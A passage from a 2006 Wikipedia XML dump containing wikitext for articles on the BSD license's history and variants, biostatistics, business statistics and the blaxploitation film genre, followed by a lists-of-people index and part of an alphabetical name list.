 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.

The [[GNU]] project referred to it as the &quot;obnoxious BSD advertising clause&quot;.  There were two main problems from the GNU project's perspective.  First, people who made changes to the source code tended to want to have their names added to the acknowledgement.  This is problematic since with large numbers of people working on a single project (or for many separate projects in a software distribution), the advertising clause quickly created large and unwieldy acknowledgements.  Second, a large legal problem was the advertising clause was incompatible with the terms of the [[GNU General Public License]] (which does not allow the addition of restrictions beyond those it already imposes) thus forcing a segregation of GNU and BSD software.  The GNU project went so far as to suggest people not use the phrase &quot;BSD-style&quot; licensing when they wanted to refer to an example of a non-copyleft license, in order to prevent inadvertent usage of the original BSD license.  

This '4-clause' advertising version was removed from the official BSD license text on [[July 22]], [[1999]] by [[William Hoskins]], the director of the office of technology licensing for Berkeley, in response to a request from [[Richard Stallman]].  The document enacting that revocation is available at &lt;br&gt;
[ftp://ftp.cs.berkeley.edu/pub/4bsd/README.Impt.License.Change ftp://ftp.cs.berkeley.edu/pub/4bsd/README.Impt.License.Change]. &lt;br&gt; The original license is now sometimes called &quot;BSD-old&quot; or &quot;4-clause BSD&quot;, while the current revision of the BSD license is sometimes referred to by the by names including &quot;BSD-new&quot;, &quot;revised BSD&quot;, or &quot;3-clause BSD&quot;.

==BSD-style licenses==
Several free or open source licenses that derive from or are similar to the BSD license are widely used:

* [[NetBSD]] still uses a [http://www.netbsd.org/Goals/redistribution.html#default 4-clause license] equivalent to the original BSD license.
* A 2-clause BSD-like license also exists which deletes the third clause, prohibiting use of the [[copyright]] holder's name for endorsement purposes.  Removal of that clause makes the license functionally equivalent to the [[MIT License]].  This is the only BSD-style license [http://developer.kde.org/policies/licensepolicy.html permitted] for certain libraries included in [[KDE]].  
* [[FreeBSD]] also uses a [http://www.freebsd.org/copyright/freebsd-license.html 2-clause license] with an additional statement at the end that the views of contributors are not the official views of the FreeBSD Project.
* [[OpenBSD]] uses a [http://www.openbsd.org/cgi-bin/cvsweb/src/share/misc/license.template?rev=HEAD license] modeled after the [[Internet Systems Consortium|ISC]] license for all additional software created by the project, as it is functionally a two-clause BSD-styled license, with no additional clauses or consequences involved.
* [[SixXS]] uses an extended 3-clause BSD [[http://www.sixxs.net/tools/aiccu/LICENSE LICENSE]], the license contains a short list of the differences compared to the 3 clause BSD license. 'Written' permission has been removed from the 3rd clause, email suffices. 2 clauses added which requires that no logo's or texts are removed, which is similar to the 1st clause. The 5th clause makes a request to notify the authors when one is using this software for alternate purposes than SixXS. The latter is mainly of interest because the AICCU software is written with SixXS in mind and not with other providers. If somebody thus makes an interoperable server, using the protocols that have been specified, they would be happy to know about this.

==See also==
* [[BSD and GPL licensing]]

==External links==
* [http://www.opensource.org/licenses/bsd-license.php BSD License Template]
* [http://www.gnu.org/philosophy/bsd.html The BSD License Problem (GNU Project)] (This article is mostly outdated, because of the license change in 1999.)
* [http://perso.wanadoo.fr/gilbert.fernandes/usl_bsd/index.html Materials about the Unix System Laboratories v. BSD case]
* [http://www.oreilly.com/catalog/opensources/book/kirkmck.html Marshall Kirk McKusick, ''Twenty Years of Berkeley Unix: From AT&amp;T-Owned to Freely Redistributable'', in: Open Sources: Voices from the Open Source Revolution, O'Reilly 1999]

[[Category:Open source licenses]][[Category:Free software licenses]][[Category:BSD]]

[[cs:BSD licence]]
[[de:BSD-Lizenz]]
[[es:Licencia BSD]]
[[fr:Licence BSD]]
[[ko:BSD식 사용 허가서]]
[[it:Licenza BSD]]
[[hu:BSD License]]
[[nl:BSD-licentie]]
[[ja:BSDライセンス]]
[[no:BSD-lisensen]]
[[pl:Licencja BSD]]
[[pt:Licença BSD]]
[[ru:Лицензия BSD]]
[[simple:BSD licence]]
[[zh:BSD许可证]]</text>
    </revision>
  </page>
  <page>
    <title>Biostatistics</title>
    <id>3878</id>
    <revision>
      <id>40019543</id>
      <timestamp>2006-02-17T15:17:14Z</timestamp>
      <contributor>
        <ip>128.205.191.123</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For the automated recognition of people based on intrinsic physical or behavioural traits, see [[Biometrics]].''

'''Biostatistics''' or '''biometry''' is the application of [[statistics]] to a wide range of topics in [[biology]]. It has particular applications to [[medicine]] and to [[agriculture]].  

''Note on terminology'': Although the terms &quot;biostatistics&quot; and &quot;biometry&quot; are sometimes used interchangeably, &quot;biometry&quot; is more often used of biological or agricultural applications and &quot;biostatistics&quot; of medical applications.  In older sources &quot;biometrics&quot; is used as a [[synonym]] for &quot;biometry&quot;, but this term has now been largely usurped by the [[information technology]] industry.

== Biostatistics and the history of biological thought ==
 
Biostatistical reasoning and modeling were critical in formation of the foundation theories of modern biology.  In the early [[1900s]], after the rediscovery of [[Mendel|Mendel's]] work, the conceptual gaps in understanding between [[genetics]] and evolutionary [[Darwinism]] led to vigorous debate between biometricians such as [[Walter Frank Raphael Weldon|Walter Weldon]] and [[Karl Pearson]] and Mendelians such as [[Charles Benedict Davenport|Charles Davenport]] and [[William Bateson]].  By the [[1930s]] statisticians and models built on statistical reasoning had helped to resolve these differences and to produce the Neo-Darwinian [[Modern evolutionary synthesis]].  

The leading figures in the establishment of this synthesis all relied on statistics and developed its use in biology.
* [[Ronald Fisher|Sir Ronald Fisher]] developed several basic statistical methods in support of his work ''[[The Genetical Theory of Natural Selection]]''
* [[Sewall G. Wright]] used statistics in the development of modern [[population genetics]]
* [[J. B. S. Haldane|J. B. S Haldane's]] book, ''The Causes of Evolution'', reestablished natural selection as the premier mechanism of evolution by explaining it in terms of the mathematical consequences of Mendelian genetics.

These individuals and the work of other biostatisticians, mathematical biologists, and statistically inclined geneticists helped bring together [[evolutionary biology]] and [[genetics]] into a consistent, coherent whole that could begin to be quantitatively modeled.

In parallel to this overall development, the pioneering work of [[D'Arcy Thompson]] in ''On Growth and Form'' also helped to add quantitative discipline to biological study.

== Education and Training Programs ==

Almost all educational programmes in biostatistics are at [[postgraduate]] level. They are most often found in schools of public health, affiliated with schools of medicine, forestry, or agriculture or as a focus of application in departments of statistics.  In the United States, several universities have dedicated biostatistics departments; many other top-tier universities integrate Biostatistics faculty into Statistics (or other) departments.

Many universities that deal with ecological research have a biostatistics course that introduces concepts such as [[hypothesis testing]] for univariate and sometimes multivariate [[data set]]s with one, two, or more samples. Often this is combined or followed with some kind of experimental design course.

== Applications of biostatistics==

* [[Public health]], including [[epidemiology]], [[nutrition]] and [[environmental health]],
* Design and analysis of [[clinical trial]]s in [[medicine]]
* [[Genomics]], [[population genetics]], and [[statistical genetics]] in populations in order to link variation in [[genotype]] with a variation in [[phenotype]]. This has been used in agriculture to improve crops and farm animals.  In biomedical research, this work can assist in finding candidates for [[gene]] [[alleles]] that can cause or influence predisposition to disease in [[human genetics]]
* [[Ecology]]
* Biological [[sequence analysis]]

Statistical methods are beginning to be integrated into [[medical informatics]] and [[bioinformatics]].

== Related Fields ==

Biostatistics draws quantitative methods from fields such as:
*[[statistics]],
*[[operations research]],
*[[economics]], and, generally,
*[[mathematics]]

==See also==

* [[Mathematical biology]]
* [[List_of_publications_in_medicine#Biostatistics| Important publications in biostatistics]]

==External links==

* [http://www.tibs.org The International Biometric Society]
* [http://www.asph.org/document.cfm?page=200 The American Association of Schools of Public Health]

[[Category:Statistics]]
[[Category:Bioinformatics]]

[[de:Biostatistik]]
[[es:Bioestadística]]
[[he:ביומטריה]]
[[sv:Biostatistik]]
[[zh:&amp;#29983;&amp;#29289;&amp;#32479;&amp;#35745;&amp;#23398;]]
[[pt:Biometria]]
[[tr:biyometri]]</text>
    </revision>
  </page>
  <page>
    <title>Business statistics</title>
    <id>3879</id>
    <revision>
      <id>35329934</id>
      <timestamp>2006-01-15T23:46:33Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <comment>/* See also */  fix drd</comment>
      <text xml:space="preserve">'''Business statistics''' is the science of good decision making in the face of uncertainty and is used in many disciplines such as financial analysis, econometrics, auditing, production and operations including services improvement, and marketing research. These sources feature regular repetitive publication of series of data. This makes the topic of [[time series]] especially important for business statistics. It is also a branch of [[applied statistics]] working mostly on data collected as a by-product of doing business or by government agencies. It provides knowledge and skills to interpret and use statistical techniques in a variety of business applications. A typical business statistics course is intended for business majors, and covers statistical study, descriptive statistics (collection, description, analysis, and summary of data), probability, and the binomial and normal distributions, test of hypotheses and confidence intervals, linear regression, and correlation.

==See also==

*[[Sampling (statistics)|Sampling]]
**[[Simple random sampling]]
**[[Systematic sampling]]
**[[Stratified sampling]]
**[[Cluster sampling]]
**[[Multistage sampling]]
**[[Nonprobability sampling]]
*[[Conjoint analysis (in marketing)|Conjoint analysis]]
*[[Factor analysis]]
*[[Multidimensional scaling in marketing|Multidimensional scaling]]
*[[Discriminant analysis (in marketing)|Discriminant analysis]]
*[[Cluster analysis (in marketing)|Cluster analysis]]
*[[Preference regression (in marketing)|Preference regression]]
*[[Logit analysis in marketing|Logit analysis]]
*[[Intent scale translation]]
*[[Preference-rank translation]]

*[[Quantitative marketing research]]
**[[Statistical survey|Statistical surveys]]
**[[Questionnaire construction]]
**[[Scale (social sciences)|Scales]]
**[[Experimental techniques]]
**[[Observational techniques]]
**[[Cross tab]]

*[[XbarR chart]]
*[[Six Sigma]] 
[[Category:Business]]</text>
    </revision>
  </page>
  <page>
    <title>Blaxploitation</title>
    <id>3882</id>
    <revision>
      <id>41056366</id>
      <timestamp>2006-02-24T19:51:33Z</timestamp>
      <contributor>
        <ip>209.170.255.14</ip>
      </contributor>
      <text xml:space="preserve">'''Blaxploitation''' is a [[portmanteau]], or combination, of the words &amp;ldquo;black&amp;rdquo; and &amp;ldquo;exploitation&amp;rdquo;. It is a [[film genre]] which emerged in the [[United States]] in the early [[1970s]] when many [[exploitation film]]s were made that targeted the urban [[African American]] audience. The films featured primarily black [[actor]]s, and were the first to have [[soundtrack]]s of [[funk]] and [[soul music]]. Although criticized by civil-rights groups for their use of [[stereotype]]s, they addressed the great and newfound demand for afrocentric entertainment, and were immensely popular among black audiences.

Almost all blaxploitation films featured exaggerated sexuality and violence. When set in the [[Northern United States|North]] of the U.S., they tended to take place in the [[ghetto]] and deal with [[pimp]]s, [[drug dealer]]s, and [[hit man|hit men]]. When set in the [[Southern United States|South]], the movies most often took place on a plantation and dealt with [[slavery]] and [[miscegenation]]. In all these films, it was common to see drugs, the [[Afro]] hairstyle, &quot;pimpmobiles,&quot; and crooked and corrupt white police officers. Controversy was heightened by the fact that these films were often written and directed by Caucasian directors, although movies created by African Americans with similar themes have also been labeled as &amp;ldquo;blaxploitation.&amp;rdquo; 

These films were made for an African American audience and often showed negative depictions of caucasian characters throughout the films. This was most clearly seen as whites were often cast as crooked and racist police officers or government officials called &quot;[[honky]]&quot; on several occasions. [[Italian Americans]] were specifically portrayed negatively as drug dealing members of the [[Mafia]] whom black characters would often rip off. Anti-Italian epithets such as [[dago]] and [[wop]] were used in conjunction with honky against these characters. At the same time, these films set a negative stereotype of [[African Americans]], the audience they were trying to reach, as pimps and drug dealers. These were illegal jobs that many whites stereotyped blacks as having especially in the northern ghettoes and as a result a call against Blaxploitation had occurred. 

The [[NAACP|National Association for the Advancement of Colored People]], the [[Southern Christian Leadership Conference]], and the [[Urban League]] joined together to form the [[Coalition Against Blaxploitation]]. Backed by many black film professionals, this group received much media exposure and quickened the death of the genre by the late 1970s. Though still regarded as [[racism|racist]] by many, some film scholars defend the [[cinematic genre]] as instrumental in bringing greater screen presence to African Americans. 
Furthermore, blaxploitation films laid the foundation for future filmmakers to address racial controversies regarding [[inner city]] [[poverty]]. Since the early 1990s, a new wave of acclaimed African-American filmmakers have focused on African American urban life in their films (particularly [[Spike Lee]]'s ''[[Do the Right Thing]]'' and [[John Singleton]]'s ''[[Boyz N the Hood]]'').

== Famous blaxploitation films ==

:''see also'' [[List of blaxploitation films]]

* ''[[Abby]]'' (1974) was a blaxploitation version of [[The Exorcist]] and starred then rising star [[Carol Speed]] as a virtuous young woman possessed by a demon; Ms. Speed also sings the title song. [[William H. Marshall]] (of [[Blacula]] fame) conducts the exorcism of Abby on the floor of a [[discotheque]].
* ''[[Black Belt Jones]]'' (1974) - Better known for his role as 'Mister Williams' from the Bruce Lee film &quot;Enter the Dragon;&quot; [[Jim_Kelly_%28martial_artist%29|Jim Kelly]] was given a leading role in this martial arts film.  In it he plays Black Belt Jones, a federal agent/martial arts expert who takes on the mob as he avenges the murder of a karate school owner.
* ''[[Black Caesar]]'' (1973)
* ''[[Blackenstein]]'' (1973) is a joking quasi-sequel to Blacula, featuring a black [[Frankenstein's monster]].
* ''[[Blacula]]'' (1972) is a take on [[Dracula]], featuring an African prince [[William H. Marshall]] bitten by a [[vampire]].
* ''[[Boss Nigger]]'' (1975)
* ''[[Cleopatra Jones]]'' (1973) and its sequel, ''[[Cleopatra Jones and the Casino of Gold]]'' (1975), are films about a tough, street-smart black woman. The first film marked the beginning of a subgenre of blaxploitation films which focused on strong female leads who took an active role in shootouts and fights.  Some of these films include ''[[Coffy]]'', ''[[Black Belt Jones]]'', ''[[Foxy Brown (1974 film)|Foxy Brown]]'', and  ''[[Get Christie Love!]]''. 
* ''[[Coffy]]'' (1973)
* ''[[Coonskin (film)|Coonskin]]'' (1975) is an animated [[satire]] of the blaxploitation genre, directed by [[Ralph Bakshi]].
* ''[[Cotton Comes to Harlem]]'' was written and directed by the African American [[Ossie Davis]] in [[1970]]. It featured two black NYPD detectives Coffin Ed played by [[Raymond St. Jacques]] and Gravedigger Jones played by [[Godfrey Cambridge]] who were looking for a money filled bail of cotton stolen by a corrupt reverend named Deke O'Malley. ''[[Blazing Saddles]]'' star [[Cleavon Little]] makes an appearance in the film.
* ''[[Darktown Strutters]]'' (1975)
* ''[[Dolemite]]'' (1975) is a comedy which is a parody of blaxploitation films, centered around a black pimp of dubious sexual orientation. It was immensely popular and spawned several sequels.
* ''[[Foxy Brown (1974 film)|Foxy Brown]]'' (1974) features the charismatic actress [[Pam Grier]] as Foxy Brown. 
* ''[[Get Christie Love!]]'' (1974)
* ''[[Live And Let Die]]'' (1973)
* ''[[The Mack]]'' (1973)
* ''[[Mandingo (film)|Mandingo]]'' (1975). Based on a series of novels, this blaxploitation film was set in the American South during the [[U.S. Civil War]] and focused on the sexual relations between slaveowners&amp;rsquo; wives and slaves. It was followed by a sequel, ''[[Drum (1976 film)|Drum]]'', which became a favorite among black audiences for a scene in which a slave literally tears the [[testicles]] off of a white slave driver.
* ''[[Passion Plantation]]'' (1976)
* ''[[Shaft (1971 film)|Shaft]]'' (1971) features [[Richard Roundtree]] as the black detective John Shaft, a character comparable to [[James Bond]] and [[Dirty Harry]]. The soundtrack has contributions from such prominent musicians as [[Isaac Hayes]], whose recording of the titular song won several awards, including an [[Academy Award]]. Perhaps the most famous blaxploitation film, it was deemed culturally relevant by the [[Library of Congress]]. It spawned two sequels, ''[[Shaft's Big Score|Shaft&amp;rsquo;s Big Score]]'' (1972) and ''[[Shaft in Africa]]'' (1973), as well as a [[Shaft (2000 film)|remake]] in 2000.
* ''[[Space Is the Place]]'' (1974)
* ''[[Superfly (film)|Superfly]]'' (1972) had a soundtrack by [[Curtis Mayfield]] and is considered to be a classic of the genre.
* ''[[Sweet Sweetback's Baadasssss Song|Sweet Sweetback&amp;rsquo;s Baadasssss Song]]'' (1971), written and directed by Melvin Van Peebles. This tale of a black male prostitute turned vigilante is considered by many to be the first true blaxploitation film, and the film that thrust afrocentric films into the spotlight. (Van Peebles himself does not consider his film to be a part of the genre.)
* ''[[Trouble Man]]'' (1972)
* ''[[Truck Turner]]'' (1974)
* ''[[Watermelon Man (film)|Watermelon Man]]'' (1970). Written by a white man ([[Herman Raucher]]) but directed by an African American ([[Melvin Van Peebles]]), this film about a white man who is turned into a black man is considered a forebearer of the 1970s blaxploitation boom.
* ''[[Willie Dynamite]]'' (1974)

== Later media references ==
Later movies such as ''[[Austin Powers in Goldmember]]'' (2002) and ''[[Undercover Brother]]'' (2002) , as well as [[Quentin Tarantino]]&amp;rsquo;s ''[[Jackie Brown (film)|Jackie Brown]]'' (1997) and ''[[Kill Bill]], Vol. 1'' (2003), feature [[pop culture]]  nods to the blaxploitation genre. The parody ''Undercover Brother'', for instance, starred [[Eddie Griffin]] as an Afro-topped agent for a clandestine organization satirically known as the ''&quot;B.R.O.T.H.E.R.H.O.O.D&quot;''. Likewise, ''Austin Powers in Goldmember'' co-stars [[Beyoncé Knowles]] as the [[Tamara Dobson]]/[[Pam Grier]]-inspired [[heroine]], ''“Foxxy Cleopatra”''. Furthermore, the acclaimed film auteur and noted fan of [[exploitation film]]s, [[Quentin Tarantino]], has made countless references to the blaxploitation genre in his films, in addition to ''Jackie Brown''. In a famous scene in ''[[Reservoir Dogs]]'', for instance, the main characters engage in a brief discussion regarding ''[[Get Christie Love!]]'', a mid-1970s blaxploitation [[television series]]. Similarly, in the catalytic scene of ''[[True Romance]]'' , the characters are seen viewing the movie ''[[The Mack]]''.

[[John Singleton]]&amp;rsquo;s remake of ''[[Shaft (2000 film)|Shaft]]'' (2000) is a modern-day interpretation of a classic blaxploitation film. The [[1997]] film ''[[Hoodlum]]'' starring [[Laurence Fishburne]] was an attempt at gangster blaxploitation, portraying a fictional account of black mobster [[Ellsworth &quot;Bumpy&quot; Johnson|Ellsworth &amp;ldquo;Bumpy&amp;rdquo; Johnson]]. In [[2004]], [[Mario Van Peebles]], Melvin&amp;rsquo;s son, released ''[[Baadasssss!]]'', a movie based on the making of his father&amp;rsquo;s movie in which Mario played his father.

Furthermore, Blaxploitation films have made a profound impact on contemporary [[hip hop culture]]. Several prominent [[hip hop music|hip hop]] artists (including [[Snoop Doggy Dogg]], [[Big Daddy Kane]], [[Ice T]], [[Slick Rick]], and [[Too $hort]]) have taken the no-nonsense [[pimp]] persona popularized by the films ''[[Superfly]]'', ''[[The Mack]]'', and ''[[Willie Dynamite]]'', as inspiration for their own works. In fact, many hip-hop artists have paid tribute to pimping within their lyrics (most notably [[50 cent]]'s hit single &quot;''[[P.I.M.P.]]''&quot;) and have openly embraced the pimp image in their [[music videos]], by including entourages of scantily-clad women, flashy jewelry (known as &quot;''[[bling-bling]]''&quot;), and luxury [[ Cadillac Eldorado|Cadillacs]] (referred to as  &quot;''[[pimpmobile|pimpmobiles]]''&quot;). Perhaps the most famous scene of [[The Mack]], featuring the &quot;Annual [[Players' Ball]]&quot;, has become an often-referenced [[pop culture]] icon, most recently by ''[[Chappelle's Show]]'', where it was parodied as the &quot;''Player-Haters' Ball''.&quot;

===Parodies and spoofs===
*''[[I'm Gonna Git You Sucka|I&amp;rsquo;m Gonna Git You Sucka]]'' (1988) is a famous [[Parody|spoof]] of urban blaxploitation films, featuring several of the male stars of that genre. A later film, ''[[Original Gangstas]]'' (1996), also featured many of those stars, but was made as a tribute to the genre. ''[[Pootie Tang]]'' (2001) also [[parody|parodies]] many blaxploitation elements. [[Robert Townsend]]'s comedy ''[[Hollywood Shuffle]]'' ([[1987 in film|1987]]) features a young black actor who is tempted to take part in a white-produced blaxploitation film.

*The [[anime]] series ''[[Cowboy Bebop]]'' features several episodes with blaxploitation themes, particularly ''Mushroom Samba'' which extensively parodies blaxploitation movies.

*''[[The Hebrew Hammer]]'' (2003) is another parody of blaxploitation films, but with a [[Jew]]ish protagonist (and was therefore ironically called &amp;ldquo;Jewsploitation&amp;rdquo; by some).

*The [[animated series]] ''[[Family Guy]]'' showed a [[cutaway]] based on blaxploitation movies in the form of a parody of ''[[Back to the Future]]'' (''Black to the Future''), starring the main character [[Peter Griffin|Peter&amp;rsquo;s]] distant cousin as &amp;ldquo;Marty McSuperFly.&amp;rdquo;  Also mentioned were the blaxploitation movies: ''[[Caddyshack|Caddyblack]]'', ''[[Backdraft (movie)|Blackdraft]]'', and ''Black [[Kramer vs. Kramer]]''.

*In ''[[The Simpsons]]'' episode &amp;ldquo;[[Simpson Tide]]&amp;rdquo; (3G04) a TV announcer says &amp;ldquo;Next, on Exploitation Theatre...''Blackula'', followed by ''Blackenstein'', and ''The Blunchblack of Blotre Blame!''&quot;.

*''[[The Onion|The Onion's]]'' book ''[[Our Dumb Century]]'' has an article from the [[1970s]] entitled &quot;Congress Passes Anti-Blaxploitation Act: Pimps, Players Subject to Heavy Fines&quot;.

*[[Fox Entertainment Group|FOX]]’s network television comedy, “[[MadTV]]”, has frequently spoofed the [[Rudy Ray Moore]]-created franchise ''[[Dolemite]]'', with a  series of sketches performed by comic actor [[Aries Spears]], in the role of ''“The Son of Dolemite”''. The sketches are testaments to the poor production quality of the films, with obvious boom mike appearances and intentionally poor cuts and continuity.

*Among [[Saturday Night Live]]'s longest running and most popular sketches,  ''&quot;[[The Ladies Man]]'',&quot; parodied blaxploitation’s exaggerated sexuality. The Ladies' Man, played by [[Tim Meadows]], featured an [[Afro]]-topped and sexually-crazed talk-show host who believes himself to be the living definition of what females search for in a man.

*In the movie ''[[Leprechaun in the Hood]]'', a character played by [[Ice-T]] pulls a baseball bat from his afro; this scene is a satire of a similar scene in ''[[Foxy Brown (1974 film)|Foxy Brown]]'', in which [[Pam Grier]] hides a revolver in her afro.

*Many of actor and wrestler [[The Rock (entertainer)|The Rock]]'s [[catchphrase]]s have come from blaxploitation films.

*Cartoon Network's &quot;[[Aqua Teen Hunger Force]]&quot; series has a recurring character called 'Boxy Brown' (A play on [[Foxy_Brown_%281974_film%29|Foxy Brown]], a lead character in another blaxploitation film).  An imaginary friend of one of the main characters, Boxy Brown is a cardboard box with a crudely drawn face with a goatee on it that dons an afro.  Whenever the character speaks on the show 70's funk music, typical of blaxploitation films, is played in the background.  The cardboard box also fronts a confrontational attitude and [[Jive_%28dialect%29|dialect]] similar to many heroes of this film genre.  The character is voiced by [[Isaac Hayes]], a well known blaxploitation icon.  [[http://en.wikipedia.org/wiki/Image:BoxyBrown.ogg Sample Dialogue]]

== See also ==
* [[List of blaxploitation films]]
* [[History of cinema]]

== Further reading ==
* ''What It Is... What It Was!; The Black Film Explosion of the '70s in Words and Pictures'' by Andres Chavez, Denise Chavez, Gerald Martinez ISBN 0786883774

==External links==
*'' [http://www.eonline.com/Features/Topten/Blaxploitation/ Top 10 Blaxploitation Films]''
*'' [http://www.blaxploitation.com/ Blaxploitation.com]''  A comprehensive database on blaxploitation films, soundtracks and artwork.

[[Category:Film genres]]
[[Category:Portmanteaus]]

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      <text xml:space="preserve">These are '''lists of people''' mentioned in articles. The [[biography|biographies]] don't include [[fictional character]]s, e.g., people like Arthur the Knight are included but [[King Arthur]] is not.

{{Table_Lists_of_people}}
==People by name==
{{portalpar|Biography}}
* [[List of people by name|By name]]
* Family name (surname, last name, patronym/matronym)
** List of [[Family name etymology|family name derivations]]
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** [[Scientific units named after people|List of scientific units named after people]]
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* [[List of pseudonyms]] and [[stage name]]s
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* [[List of songs whose title includes personal names]]
* [[Wikipedia:non-unique personal name]]s (homonymous or namesakes)

==People by date/age==
* Date of birth or date of death
** [[List of historical anniversaries|by day of the month]], e.g. [[{{CURRENTMONTHNAME}} {{CURRENTDAY}}|today]] ({{CURRENTMONTHNAME}} {{CURRENTDAY}}).
** [[centuries|by year]], e.g. [[1911]].
** [[List of twins]]
** [[List of people who died on their birthdays]]
** List of [[recent deaths]]
* [[Senescence|Age]]
** [[List of youngsters in history]]
** [[Centenarian|List of people who lived to the age of 100]]
** [[Oldest people|List of people who lived to the age of 110]]
* [[Era|Period]]s
** [[List of ancient Chinese]]
** [[List of ancient Egyptians]]
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** [[List of people from the Dutch Golden Age]]
** [[List of people associated with the French Revolution]]
** [[List of people associated with the American Civil War]]
** [[List of people associated with World War I]]

==People by associated physical condition/characteristic==
* [[List of people by nationality|Lists of people by nationality]], ethnicity, location, etc

* List of [[Famous women in history|women in history]]

* [[List of famous left-handed people]]
* [[List of famous tuberculosis victims|List of tuberculosis victims]]
* [[List of people believed to have been affected by bipolar disorder]]
* [[List of people who have suffered from depression]]
* [[Lists of people by cause of death]]
** [[List of artists who died of drug-related causes]]
** [[List of assassinated persons]]
** [[List of famous suicides|List of suicides]]
** [[List of people who died in aviation-related incidents]]
** [[List of professional cyclists who died during a race]]
** [[List of racing drivers who died in racing crashes]]
** [[List of famous people who died in road accidents|List of people who died in road accidents]]
** [[List of murdered people]]
** [[List of people who were executed]]
** [[List of people who died of starvation]]
* [[List of people who have disappeared]]
* [[List of celebrities with diabetes|List of people with diabetes]]
* [[List of people with disabilities]]
**[[List of people with visual disabilities]]
**[[List of people with dyslexia]]
**[[List of people believed to have epilepsy]]
**[[List of paraplegic people]]
* [[List of polydactyl people]]
* [[List of HIV-positive people]]
* [[List of the Most Obese Humans]]

==People by lifestyle (in certain cases with a possibly biological role)==
* [[List of people widely considered eccentric]]
* [[List of gay, lesbian or bisexual people]]
* [[List of transgendered people]]
* [[List of vegetarians]]
* [[List of teetotalers]]
* [[List of famous virgins|List of virgins]]
* [[List of notable people who have commented on the LSD experience]]

==People by belief==
* [[List of people by belief|Lists of people by belief]], religious belief or philosophy
* [[List of atheists]]
* [[List of Buddhists]]
* [[List of Christians]]
* [[List of Democrat celebrities|List of Democratic celebrities]]
* [[List of humanists]]
* [[List of Latter-day Saints]]
* [[List of Lutherans]]
* [[List of Muslims]]
* [[List of pacifists]]
* [[List of Republican celebrities]]
* [[List of Roman Catholics]]
* [[List of transhumanists]]

==People by achievements (possibly in some cases by circumstance)==
*[[List of prizes, medals, and awards]]
*[[List of people with two or more professions]]
*[[The 100 (book)|Michael H. Hart's list of the 100 most influential people in history]]
*[[Eponyms|List of people with things named after them]]
*[[Disney Legends|List of Disney Legends]]
*[[List of people on multiple governing boards]]

==People by occupation==
* [[List of people by occupation|Lists of people by occupation]], profession, vocation
* List of [[political theorist]]s
* [[Lists of office-holders]]: kings, popes and presidents
* [[List of exorcists]]
* [[List of show business families]]
* People who have worked in pairs
** [[List of entertainer pairs]]
** [[List of scientist pairs]]
** [[List of pairs of colleagues]]

==People by studies==
* [[List of former pupils of Westminster]]
* [[List of polymaths]]

==People by circumstance==
* [[List of billionaires]]
* [[List of Disney people]]
* [[List of famous families]]
* [[List of famous pairs]] (people, places and things)
** [[List of couples]]
** [[List of Hollywood celebrity couples]]
* [[List of famous people who died young]]
* [[List of people on stamps]]
* [[List of people who became famous only in death]]
* [[List of people who became famous for surviving a deadly event]]
* [[List of people who have acted as their own attorney]]
* [[List of mugshots collected by The Smoking Gun|List of people with mugshots collected by The Smoking Gun]]
* [[List of premature obituaries]]
* [[List of people in news this week]]

==Real people appearing in fiction==
* [[List of real people appearing in fictional context]]
**[[List of celebrities on The Simpsons]]
**[[Scrooge McDuck#Encounters with real people|Scrooge McDuck's Encounters with real people]]

==See also==
*[[List of reference tables]]

==External links==
*http://www.nndb.com/

[[Category:Lists of people|*Lists of people]]

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__FORCETOC__
=Ya=
==Yad - Yam ==
*[[Dimitri Yachvili|Yachvili, Dimitri]], (born 1980), French rugby player
*[[Laloo Prasad Yadav|Yadav, Laloo Prasad]], (born 1948), Indian politician
*[[Genrikh Yagoda|Yagoda, Genrikh Grigor'evich]], (1891-1938)
*[[Alexander Nikolaevich Yakovlev|Yakovlev, Alexander Nikolaevich]], (born 1923)
*[[Alexander Sergeyevich Yakovlev|Yakovlev, Alexander Sergeyevich]], (1906-1989)
*[[Anatoli A. Yakovlev|Yakovlev, Anatoli A.]]
*[[Vadim Yakovlev|Yakovlev, Vadim]], Russian soldier
*[[Yakub of Alexandria]], (819-830), Coptic Pope
*[[Yakubu Gowon]], (born 1934), Nigeria soldier &amp; politician
*[[Alexander Yakushev|Yakushev, Alexander]], hockey player
*[[Elihu Yale|Yale, Elihu]], (1649-1721), American philanthropist
*[[Linus Yale, Jr.|Yale, Linus Jr.]], (1821-1868), American innovator of locks
*[[Irvin Yalom|Yalom, Irvin]], psychologist
*[[Takayuki Yamada|Yamada, Takayuki]] (born 1983), Japanese actor
*[[Yamagata Hiro]], (born 1964), author
*[[Yamamoto Isoroku]], (1884-1943), Japanese sailor
*[[Yamamoto Tsunetomo]], (1659-1719), Japanese author 
*[[Akira Yamaoka|Yamaoka, Akira]], (born 1968), Japanese composer
*[[Minoru Yamasaki|Yamasaki, Minoru]], (1912-1986), American architect
*[[Tomoyuki Yamashita|Yamashita, Tomoyuki]], (1885-1946), Japanese soldier
*[[Maurice Yaméogo|Yaméogo, Maurice]], (1921-1993)

== Yan - Yas ==
*[[Yan Chia-kan]], (1905-1993), Chinese politician
*[[Romina Yan|Yan, Romina]], (born 1974), Argentine actress
*[[Jimmy Yancey|Yancey, James Edwards &quot;Jimmy&quot;]], (c. 1898-1951), American musician
*[[Yang Ch'eng-fu]], (1883-1936), martial arts teacher 
*[[Yang Yang (A)]] (born 1976), Chinese short track speed skater 
*[[Yang Yang (S)]] (born 1977), Chinese short track speed skater 
*[[Bosa Yankovich|Yankovich, Bosa]], Serbian soldier &lt;!-- general --&gt;
*[[&quot;Weird Al&quot; Yankovic|Yankovic, &quot;Weird Al&quot;]], (born 1959), American musician
*[[Zal Yanovsky|Yanovsky, Zal]], (1945-2002), Canadian musician
*[[Yao Ming]], (born 1980), basketball player
*[[Yao Wenyuan]], (born 1931)
*[[Akram Yari|Yari, Akram]], founder of the Communist movement of Afghanistan
*[[Ralph Yarborough | Yarborough, Ralph]], American politician
*[[Chelsea Quinn Yarbro|Yarbro, Chelsea Quinn]], (born 1942), American author
